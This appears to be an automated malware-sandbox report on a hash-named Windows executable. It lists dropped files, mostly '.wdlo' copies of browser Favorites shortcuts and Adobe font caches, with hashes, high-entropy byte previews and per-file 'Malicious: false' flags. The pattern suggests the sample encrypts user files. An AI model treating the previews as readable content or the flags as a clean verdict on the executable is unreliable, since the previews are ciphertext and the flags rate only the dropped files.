Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.460177562743176
Encrypted:	false
SSDEEP:	12:NzDdgRPu4eejC8TkBOhED8QiGQmBddSWD36Wcii9a:dduPu4ehWhIlQmJS43zbD
MD5:	FFC6AC1788851F0842F86C52F5FEB62B
SHA1:	7EA7598154DAD7422C8762B32A8502F0D4011626
SHA-256:	FBDF918779846975686ACD60DF38152749AD1A3A2DEBFAE776BF30A28391F53E
SHA-512:	8188FCA415F3BE7DDF89A045E0DEE21C98238DE50817E26AA4D7C04B2CF0E31796340C7EAFF33C259AA3705338A53390ED92E8E6638C61BEB72CEAEBAD66D4D9
Malicious:	false
Preview:	[{000.t.]7..6.'.c.N..d.:.<.s@V.K'..Qt...b<.:m.!V....@..[.......7.%-.#.....Y..LN.S.dK>f...2.`Ch....P......@j...$..U..P.8........o.>...y'......e..q~....T....Nmq..6......'..J.{'W2o8..c.......>y...}.L.j7r......r.c..&M.T....a..[&'......4,.., .B..fEg"F@;...p....c.g.K...#...HI.._;....L-........wmGc.A.A....J......+..b...%....`../.A..E.5.Y#P.*QW.cyoe...e...&.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Facebook.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.460177562743176
Encrypted:	false
SSDEEP:	12:NzDdgRPu4eejC8TkBOhED8QiGQmBddSWD36Wcii9a:dduPu4ehWhIlQmJS43zbD
MD5:	FFC6AC1788851F0842F86C52F5FEB62B
SHA1:	7EA7598154DAD7422C8762B32A8502F0D4011626
SHA-256:	FBDF918779846975686ACD60DF38152749AD1A3A2DEBFAE776BF30A28391F53E
SHA-512:	8188FCA415F3BE7DDF89A045E0DEE21C98238DE50817E26AA4D7C04B2CF0E31796340C7EAFF33C259AA3705338A53390ED92E8E6638C61BEB72CEAEBAD66D4D9
Malicious:	false
Preview:	[{000.t.]7..6.'.c.N..d.:.<.s@V.K'..Qt...b<.:m.!V....@..[.......7.%-.#.....Y..LN.S.dK>f...2.`Ch....P......@j...$..U..P.8........o.>...y'......e..q~....T....Nmq..6......'..J.{'W2o8..c.......>y...}.L.j7r......r.c..&M.T....a..[&'......4,.., .B..fEg"F@;...p....c.g.K...#...HI.._;....L-........wmGc.A.A....J......+..b...%....`../.A..E.5.Y#P.*QW.cyoe...e...&.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.456259639838784
Encrypted:	false
SSDEEP:	6:JncrQQUI7ewlUBxoDMC9XGsLOb1F+jJiq659x+xwikSXGaEJheVMD3OsVolWbz6Q:lddzBxaV1Gt/FLWDYJQCx36Wcii9a
MD5:	517C930F360BD99B5B7C7A8A8AF8336B
SHA1:	5199717BEFB952D7D80907723E63775466CAC9D2
SHA-256:	29E6DC7878D477E373FEF450DB6034391017F250F03B90E293D83D007488AC2A
SHA-512:	76D4C3B24E87B26590333BB66FBE192FCB89AD4019F75FB8CF80BDD7EA3FD9CC31D6FE02CDF9E437A72578C1E61F8E5082A9AD3BC943C0C9F752A49915E3239D
Malicious:	false
Preview:	[{000.z}n...........0I..j....+..Ke%_qbRa....5.-:kb.1...H.,..v.r.....$...K..>.3N....;.3..r+..f....)s.....<....:.&O....?..V>f"...O.......,.i"..j...u5....kk......S2.,..\|"..n........N(.....n.}....N.G.......y.+...e..$9.....K.J..K.....L=...?..4..fy...L./MT.w,(,BK.R`z..e..).`T...z.m.l...sP{f..I..d....z............#J.R.#...eG.F}.v.Q.&...9....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.456259639838784
Encrypted:	false
SSDEEP:	6:JncrQQUI7ewlUBxoDMC9XGsLOb1F+jJiq659x+xwikSXGaEJheVMD3OsVolWbz6Q:lddzBxaV1Gt/FLWDYJQCx36Wcii9a
MD5:	517C930F360BD99B5B7C7A8A8AF8336B
SHA1:	5199717BEFB952D7D80907723E63775466CAC9D2
SHA-256:	29E6DC7878D477E373FEF450DB6034391017F250F03B90E293D83D007488AC2A
SHA-512:	76D4C3B24E87B26590333BB66FBE192FCB89AD4019F75FB8CF80BDD7EA3FD9CC31D6FE02CDF9E437A72578C1E61F8E5082A9AD3BC943C0C9F752A49915E3239D
Malicious:	false
Preview:	[{000.z}n...........0I..j....+..Ke%_qbRa....5.-:kb.1...H.,..v.r.....$...K..>.3N....;.3..r+..f....)s.....<....:.&O....?..V>f"...O.......,.i"..j...u5....kk......S2.,..\|"..n........N(.....n.}....N.G.......y.+...e..$9.....K.J..K.....L=...?..4..fy...L./MT.w,(,BK.R`z..e..).`T...z.m.l...sP{f..I..d....z............#J.R.#...eG.F}.v.Q.&...9....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.493439075156663
Encrypted:	false
SSDEEP:	12:Qe+2pJ8d4xEr23ngPXb9gHZHLJeJmt5Nb/rE136Wcii9a:4a8sH3gPXb6HW2/b23zbD
MD5:	D4F7B7955389A808620356B842E35465
SHA1:	033138C36A388685FD129B3BEB5FACEB8094FD92
SHA-256:	5FD379F800A62C7AD396381EFCDBCFA1F26358397533A60BBCBF00C88CE0D577
SHA-512:	0E4C787B4209CC918675B483749F9CBA02DFBC6F0DFA62888922FEDCBD9B3C03CDC73E6EAA78958DF934CB778570D22E119166C12210FFF2CD5A568F0213DF84
Malicious:	false
Preview:	[{000n..>.`0........apc..........FX.%.Z...#a.[.-G..Ud...E..8.$S..ynC.I2.$C.F..Ug,.-....Y.......X....A..K....F.....C(...@\..`yb5. ... M.................[....'...+.O...ywb.bwU...].s,.R..Z.....=.J.O.A.@....M4.....xc}...&........:.......{..k....s....Q.....T>.[.\|..oB..).+....t..P...u.......d...W. $I......F(}9...\.I....L....>N.dq..Il..d&.I....,ZeGi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.493439075156663
Encrypted:	false
SSDEEP:	12:Qe+2pJ8d4xEr23ngPXb9gHZHLJeJmt5Nb/rE136Wcii9a:4a8sH3gPXb6HW2/b23zbD
MD5:	D4F7B7955389A808620356B842E35465
SHA1:	033138C36A388685FD129B3BEB5FACEB8094FD92
SHA-256:	5FD379F800A62C7AD396381EFCDBCFA1F26358397533A60BBCBF00C88CE0D577
SHA-512:	0E4C787B4209CC918675B483749F9CBA02DFBC6F0DFA62888922FEDCBD9B3C03CDC73E6EAA78958DF934CB778570D22E119166C12210FFF2CD5A568F0213DF84
Malicious:	false
Preview:	[{000n..>.`0........apc..........FX.%.Z...#a.[.-G..Ud...E..8.$S..ynC.I2.$C.F..Ug,.-....Y.......X....A..K....F.....C(...@\..`yb5. ... M.................[....'...+.O...ywb.bwU...].s,.R..Z.....=.J.O.A.@....M4.....xc}...&........:.......{..k....s....Q.....T>.[.\|..oB..).+....t..P...u.......d...W. $I......F(}9...\.I....L....>N.dq..Il..d&.I....,ZeGi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.486004309339728
Encrypted:	false
SSDEEP:	12:EPmvrzuvI+WqFrP9OPjPYwnZxtBQ8j1O1Gm/Y36Wcii9a:NvrqUWb477B/jRm/Y3zbD
MD5:	D7AF690C15B93CD486FBDDC4CA69EC3E
SHA1:	6CAD47162FB83BB5538AC50CBD39143845999FAB
SHA-256:	B21B44BE50CC8EF08980C08FFF374F159FFD0176DEB8DAC3241F3E222443AFF6
SHA-512:	59475B90F98F19ED66BA0396B4D6312D60B94DF3B8B3CF04F290741DCBFA7335074CD46A31AF850D4B6EAED80ED823C8D943EBF76D1BC2F0BFB8B204CB38E6A7
Malicious:	false
Preview:	[{000)..:.5....'.j.'W..3rl...[...c....o.O../..a..G0.Z...p.........f1...X.K..rr...<....W..{.^...Z6.3..D..V+..z...j.............F..3...O........K.....*4.P.....Mi{.Y.-.......w^......./o4<.1.J..dxl.^/..........3......W....p..?f.....!..T..#.0-..4..N.0...xY#.{w.t%.K_..b.....[...;...Q..=..Y..^..fG. S.!.s.H..^~c.\|..#.n..@.N...B..[.%.(V..s.............i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.486004309339728
Encrypted:	false
SSDEEP:	12:EPmvrzuvI+WqFrP9OPjPYwnZxtBQ8j1O1Gm/Y36Wcii9a:NvrqUWb477B/jRm/Y3zbD
MD5:	D7AF690C15B93CD486FBDDC4CA69EC3E
SHA1:	6CAD47162FB83BB5538AC50CBD39143845999FAB
SHA-256:	B21B44BE50CC8EF08980C08FFF374F159FFD0176DEB8DAC3241F3E222443AFF6
SHA-512:	59475B90F98F19ED66BA0396B4D6312D60B94DF3B8B3CF04F290741DCBFA7335074CD46A31AF850D4B6EAED80ED823C8D943EBF76D1BC2F0BFB8B204CB38E6A7
Malicious:	false
Preview:	[{000)..:.5....'.j.'W..3rl...[...c....o.O../..a..G0.Z...p.........f1...X.K..rr...<....W..{.^...Z6.3..D..V+..z...j.............F..3...O........K.....*4.P.....Mi{.Y.-.......w^......./o4<.1.J..dxl.^/..........3......W....p..?f.....!..T..#.0-..4..N.0...xY#.{w.t%.K_..b.....[...;...Q..=..Y..^..fG. S.!.s.H..^~c.\|..#.n..@.N...B..[.%.(V..s.............i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.451139083124355
Encrypted:	false
SSDEEP:	12:CLtx7YvimlRFmLuOr5llXI107Y36Wcii9a:wtx7YjlDQr5E1F3zbD
MD5:	9B89BF012BA6348DDFB7C2CF008DF61A
SHA1:	B6F12AD1DA9EDA50086C8ED5A399AFEDD181C66A
SHA-256:	621CADC6B7174E6D12DA5A145ADEE4CFE2C876DE8E69202A2BE6462649FC8A49
SHA-512:	244C19778E631A19DEDD273D8079F17416B2F0DA2A36467F0DFA5CB9F1CE16B7410E09E4F4924FD835BAB4F14AF66981D748AD4C964EC5CD7E4E92917BD1604A
Malicious:	false
Preview:	[{000.\|...L[.+.....9T`..Z[....J......-%I.w3/....,.2_.fj..m.G...#Zb.lT.k....S.Z.S...w...$L.MOX.......mU..:u.;..!.i.....D[3\N.....kV.....[...^.....V..1...1G.)..M.(.r.fI.9...o.;..%..I.$+x.?.9uO7{...>>.i&Bi.?...H..T\|..a..`.R.s;.X..t.....~...x... N......Ct>........r...Cp..I..gFGB..pEH_..:.I.)/\X.'l.d.[st.c$..#.o...j...}..<G....]C....%?.^uD#IM/`*g..Q "...ai0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.451139083124355
Encrypted:	false
SSDEEP:	12:CLtx7YvimlRFmLuOr5llXI107Y36Wcii9a:wtx7YjlDQr5E1F3zbD
MD5:	9B89BF012BA6348DDFB7C2CF008DF61A
SHA1:	B6F12AD1DA9EDA50086C8ED5A399AFEDD181C66A
SHA-256:	621CADC6B7174E6D12DA5A145ADEE4CFE2C876DE8E69202A2BE6462649FC8A49
SHA-512:	244C19778E631A19DEDD273D8079F17416B2F0DA2A36467F0DFA5CB9F1CE16B7410E09E4F4924FD835BAB4F14AF66981D748AD4C964EC5CD7E4E92917BD1604A
Malicious:	false
Preview:	[{000.\|...L[.+.....9T`..Z[....J......-%I.w3/....,.2_.fj..m.G...#Zb.lT.k....S.Z.S...w...$L.MOX.......mU..:u.;..!.i.....D[3\N.....kV.....[...^.....V..1...1G.)..M.(.r.fI.9...o.;..%..I.$+x.?.9uO7{...>>.i&Bi.?...H..T\|..a..`.R.s;.X..t.....~...x... N......Ct>........r...Cp..I..gFGB..pEH_..:.I.)/\X.'l.d.[st.c$..#.o...j...}..<G....]C....%?.^uD#IM/`*g..Q "...ai0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.422370810667972
Encrypted:	false
SSDEEP:	12:ZVQI8ZaXBZzOK7vdv3VTyJsZhosBVS36Wcii9a:zlQOX7VPVPt3S3zbD
MD5:	3257C47303C2F23B49806ACCD11F080E
SHA1:	E5B43F2C99C1FD37DB11D706ED0729CDFEC1F35E
SHA-256:	98E6AD328D5EBF741D59323088099929E7668E926F59818F9D0D012391ED1C2C
SHA-512:	8298EFC54F5245C68BF3E8588AB704DC5F8C9B454288C950561F633477C8CC8836BBEE87502719DA15765FEB8E1D58701855A5D99ACC844C26A0E14440F189D8
Malicious:	false
Preview:	[{000.<...w:.j.$.J.-...M..h.S@.D..tP~^.rO..,.k..:..)H.1...4.}.K..)1VR..4....mB...V.,.GL._........%....S.- .ks..z...e......#[?.wL.bA..Z...DZ.ME....?..."b....V..`....D...._}3w../.......`.V...9..j....h..7.._..5.....yn-.&...V..F......i...z..7.../..x.K_......."....J:.x.t..g.j..Bxj.....B.</.fq*..Y..6.B........C]5.~.K.[4.`...x..p%.d.......%..e2`.....~..A..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.422370810667972
Encrypted:	false
SSDEEP:	12:ZVQI8ZaXBZzOK7vdv3VTyJsZhosBVS36Wcii9a:zlQOX7VPVPt3S3zbD
MD5:	3257C47303C2F23B49806ACCD11F080E
SHA1:	E5B43F2C99C1FD37DB11D706ED0729CDFEC1F35E
SHA-256:	98E6AD328D5EBF741D59323088099929E7668E926F59818F9D0D012391ED1C2C
SHA-512:	8298EFC54F5245C68BF3E8588AB704DC5F8C9B454288C950561F633477C8CC8836BBEE87502719DA15765FEB8E1D58701855A5D99ACC844C26A0E14440F189D8
Malicious:	false
Preview:	[{000.<...w:.j.$.J.-...M..h.S@.D..tP~^.rO..,.k..:..)H.1...4.}.K..)1VR..4....mB...V.,.GL._........%....S.- .ks..z...e......#[?.wL.bA..Z...DZ.ME....?..."b....V..`....D...._}3w../.......`.V...9..j....h..7.._..5.....yn-.&...V..F......i...z..7.../..x.K_......."....J:.x.t..g.j..Bxj.....B.</.fq*..Y..6.B........C]5.~.K.[4.`...x..p%.d.......%..e2`.....~..A..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.485289338665811
Encrypted:	false
SSDEEP:	6:Je3leQQYluWdLL9b4ScTUsDq1rW75Ux2d3CbrUp35g7CDBBleMp2OEvkRcQkV4OE:w35dLziUp9qKx24AqwcxkObY36Wcii9a
MD5:	38431120BDBD9A60D2AE5E441F81850E
SHA1:	97F25E714190E16D27B6CE7FE04096F00FE06150
SHA-256:	EE09D03196E34835D0334D638915585FBD90832AD292A45989BBB19F4FC6797B
SHA-512:	962AB5D729C3B0C7D2E972AC0A52D46C8FAB46F1017F59146DED0E925BCBEF9DF451096D3B53F23A5F58D949F42FD713D2BE5DEB4EB86F5DCB59D2449D57FA6F
Malicious:	false
Preview:	[{000..#.4.M.e.......{a.......>.1X..H..=1}..D.........;j....w.W......8\|h...2#.I..._1.1_...7..(\|..G.j.&.obk.+..#.Q....^O.6.}MW...O....]..7.".E"..kF....trQ<......q.'w./.)..s^.z...G../.z......3..p..<HW.....3q./["s.q.i.......w.U.\|.j...JKqq.B.x..I.3.h0.:..P.V.....4<..xh..x.U3R.....PB.l@........u....HW..n.[..-r<.L.s.....}.`.Skv...<.....%...b....-...K....R13....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.485289338665811
Encrypted:	false
SSDEEP:	6:Je3leQQYluWdLL9b4ScTUsDq1rW75Ux2d3CbrUp35g7CDBBleMp2OEvkRcQkV4OE:w35dLziUp9qKx24AqwcxkObY36Wcii9a
MD5:	38431120BDBD9A60D2AE5E441F81850E
SHA1:	97F25E714190E16D27B6CE7FE04096F00FE06150
SHA-256:	EE09D03196E34835D0334D638915585FBD90832AD292A45989BBB19F4FC6797B
SHA-512:	962AB5D729C3B0C7D2E972AC0A52D46C8FAB46F1017F59146DED0E925BCBEF9DF451096D3B53F23A5F58D949F42FD713D2BE5DEB4EB86F5DCB59D2449D57FA6F
Malicious:	false
Preview:	[{000..#.4.M.e.......{a.......>.1X..H..=1}..D.........;j....w.W......8\|h...2#.I..._1.1_...7..(\|..G.j.&.obk.+..#.Q....^O.6.}MW...O....]..7.".E"..kF....trQ<......q.'w./.)..s^.z...G../.z......3..p..<HW.....3q./["s.q.i.......w.U.\|.j...JKqq.B.x..I.3.h0.:..P.V.....4<..xh..x.U3R.....PB.l@........u....HW..n.[..-r<.L.s.....}.`.Skv...<.....%...b....-...K....R13....i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.405438929537271
Encrypted:	false
SSDEEP:	12:ALgcD4Ai5u+XRtLh48siMO5uF2G36Wcii9a:ULuX5PTG3zbD
MD5:	EBF353501A72B98B0B16DB9235BF75A9
SHA1:	AF3B23E1EEF7B673A05A0C3B78D68788B3D44F17
SHA-256:	8372C6301E65252D1DAF694350B9288781758D9E82EB9349A9D60BAEB10E37E0
SHA-512:	F08FD85AD3D53508D3CDD33DE93CD449D5C61F1ABA535E507F0EFFE4E5A079314B407E8D0D53B4751E028677EF4BC185399D79CFD084CA06C93826253B7294E1
Malicious:	false
Preview:	[{000..$.."1C8A...Z..6...C...i.:^{............."[]3...+.....SB.Ui:.dvv...glY..+.,..a.v.z.7.<.i.t8.....(...I..T..;..p@l=&....D4O.&?N.9...W.#1R.d.$..AUt.?..L./.(O..[..j.#3...........}..X.AmC..:d.......Iy....{... .zM.......z.azB..../.x.B..z..>W.L..sHD..g..N'...i....9.z\|.F.0.QTek.5.g.`...n.....o@.J2.....aG.L....?./.Z.....W...l...:.i........A........K..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.405438929537271
Encrypted:	false
SSDEEP:	12:ALgcD4Ai5u+XRtLh48siMO5uF2G36Wcii9a:ULuX5PTG3zbD
MD5:	EBF353501A72B98B0B16DB9235BF75A9
SHA1:	AF3B23E1EEF7B673A05A0C3B78D68788B3D44F17
SHA-256:	8372C6301E65252D1DAF694350B9288781758D9E82EB9349A9D60BAEB10E37E0
SHA-512:	F08FD85AD3D53508D3CDD33DE93CD449D5C61F1ABA535E507F0EFFE4E5A079314B407E8D0D53B4751E028677EF4BC185399D79CFD084CA06C93826253B7294E1
Malicious:	false
Preview:	[{000..$.."1C8A...Z..6...C...i.:^{............."[]3...+.....SB.Ui:.dvv...glY..+.,..a.v.z.7.<.i.t8.....(...I..T..;..p@l=&....D4O.&?N.9...W.#1R.d.$..AUt.?..L./.(O..[..j.#3...........}..X.AmC..:d.......Iy....{... .zM.......z.azB..../.x.B..z..>W.L..sHD..g..N'...i....9.z\|.F.0.QTek.5.g.`...n.....o@.J2.....aG.L....?./.Z.....W...l...:.i........A........K..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\.curlrc.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.301238718263729
Encrypted:	false
SSDEEP:	6:KWADAAcTFPG5fmFRGPKqO0ofD0nLTEdh9FJG9vyNTlvEgvOsVolWbz6Wcii96Z:NAtcVGBmuKqVYDWEdh9F09vyhlsgZ36Q
MD5:	96D323C8EA5FF210EE406A7FF542CAD9
SHA1:	B6A26B188B4A420FCBDC115CAD30312FB1603C65
SHA-256:	535A5ED146B4A5B7081DC75ABB2B016D1C7D497CB82524803840D35E6803D3A3
SHA-512:	E7E885A24AF41F00A64CAD8891B382D69DE995FC527FF5774E34E04A0B15E000DBC1CDFDEA6041149D116DA6F3200FC63207379F44CD60C05F09965AFB0180B2
Malicious:	false
Preview:	insec..._..).f.e....X.b.e......ZJq....&.".'6.`....L..~^B.%..[.z.1.OUJ.L...:9..E.t..;.`....n.....v.....E.^?....).....S......C..,..c...z%z}.-...~...<g.....3..tO..<.U....4.2....:.....i....s=Bf....7.}"g...@.z..B.s....>..G..(.\|.@}8?=.pT..M...%...,....&i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeCMapFnt23.lst.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1567
Entropy (8bit):	7.866928905965332
Encrypted:	false
SSDEEP:	48:oAgj5fjgAVyFrgwTxr/bBT9aEiTXzy0Y3nD:ohlVIT83o
MD5:	C9CBF476C5F1A843B56B397D521D7538
SHA1:	06396B4FA67F886C161C9ADD5CA672D99CDF6F1B
SHA-256:	FC08766A33C68B0B3C787E0E1B5A69AFA61094504DC5BF5E5D67CF55EB95A133
SHA-512:	78FE4E1AC7547EAD8597C08B9FC1FD0D6AB49A5C0A2C2C2F04712AD49F907EA0364804A1EAFF5012091B226CB15FC0A48DFEF6CCD48C8DA6C34F76946C326F2B
Malicious:	false
Preview:	%!Ado.j...d.._<6....\|...G._J......b.=/.r.&vV\|H?s.5......X......Uqs.....S...M2.r.......S._..)..,B;...Q.y..1..6.....m..]#..A.)...-.....t(..R.t..a......{.......=....:..._..^z..T\|N..+..S.....R..P-..b..F.......I0.W..!.o.^.....gt.Z.......B&.....Ii=...&..+.....GF-"K.(...T.F..t.....d..f.3...kf.`..R.3.>.e.H.%.)HD.....f.\,.........({.......M...c..t.l...m....m..R......:3..A~.H.Pwo..8fR)..V..?..L...].2.8..,.. .c.1.!e.O..k.R.:..>d.ku..a...Bko..E#ne+.".(.@.+....C.F........nw7.........9.!....b\{./d(."...<....F...Vlnp<..{k.....ff...k...1[&u.-..w?...0ca.1y...]. -..K...>.{X.3f4Za..#........gs..<..T....AC./..\....PN.G....?..g.......\m..$>.&u.[{Z;...\.."a.]..oO.WBr....44..L...]6.....o...._.1..uR5L.A..<s>.4..#ClXZM.>...;.......?.%.<......k2...l.o.X:.Y.]#s..6..i<.a.%MK-..N@2..J.`.5...D&s.i...;VO23z.(.O.......>ur9Y...Y....../..v.,..f..u..!*.J.&...Y..t...%.H...-.....4;.."..<...........Z..,?..-.5..T.v7.W.V4.ZR....:.md."WS.............F.'~m..I..n0..H...1..J..&..\u

C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt23.lst.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185433
Entropy (8bit):	7.8764756060119305
Encrypted:	false
SSDEEP:	3072:cWcMoyW691uDdl6e0VJP0fzeiVImMWiewAShswG1SyQoa0lZClSnD6FXE07Zmanw:c9MoDdZ0XezcX9x5poaqClSnDsXE07Zi
MD5:	574F00DD67430CCFA377C79F609374AF
SHA1:	41ABAC0BA63C15E4698A262477A8E06F160ED171
SHA-256:	3B31D567EE2F4969F5868F31FE820CA88FB6BD25DD653303109EF11132856663
SHA-512:	21864E75F46ACB72151BBBAEEAFE8FEB3C7279CA414866C81DD383B3CE83703E3B7FB63CA56913CC86997E0A8DEE4C56DFB934C09C57146F88EC947B642D002C
Malicious:	false
Preview:	%!Ado@.T8A.nkI.......=.K..B#.4..o.....w..{..Fq..lig.#Y.W.,a..J..H.j....8&..i_..Q&.J\|..Ef.e.I.i...,.>-.Vu..,.T.?mA.7m..HI.G&...\K(.i.;.<...yt.n"A...P. ..j5.D..[T...9.._.../!.._\.y2....^7..K."....{g...}.xNU.y,.k...$.....md.N.T.....U.....h^.x.].I.@.3.Zy0q..F..tk...X..uk./.q..!.\).....d.Y..j$A...".Z.1.+.L..r.P....WJT...'.<... ...=..^..\.9.^a.!.........[%...G.q4[...\6..UoXB......c.........=P..3$...`..z+u/l...[...eH........R..?.b..#.[H..5.i/.AQ5:.G......+(........PN.[.v....Iy..w..w>/...;D..-......,.Q..)\|..0....&.)..HS.....n..[f.X..^....`.~#....U.....U.So.....}...i.6......xR.......}.p....@..xqT..T......]G...r@..i:.p......^.....22...Dc.N...:!. .;...S...\|../....R...r&..\...".......<._.. UW.....@&......<.`..7.e....1T.....o..d...X... .z...3.b.+...>x.......t.W43>...m...NF....S,i...P-......Y.V..7pf.7.%.nN..M.u.....F...}..^......)Y=2.....l".......N'.DoVS......R ....#T#...#..........g..@.q...h.......=t.........1...].7.,T.p...*.3......'<.z...

C:\Users\user\Local Settings\Adobe\Acrobat\DC\Cache\AcroFnt23.lst.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	11214
Entropy (8bit):	7.984182934276653
Encrypted:	false
SSDEEP:	192:Cq+kWEbQK5CbqQLTu0QGeqNsd8GvbmrEY4rY0puAHysLWlycC:wkbbQYmNFeqN4DvbmAY0PynycC
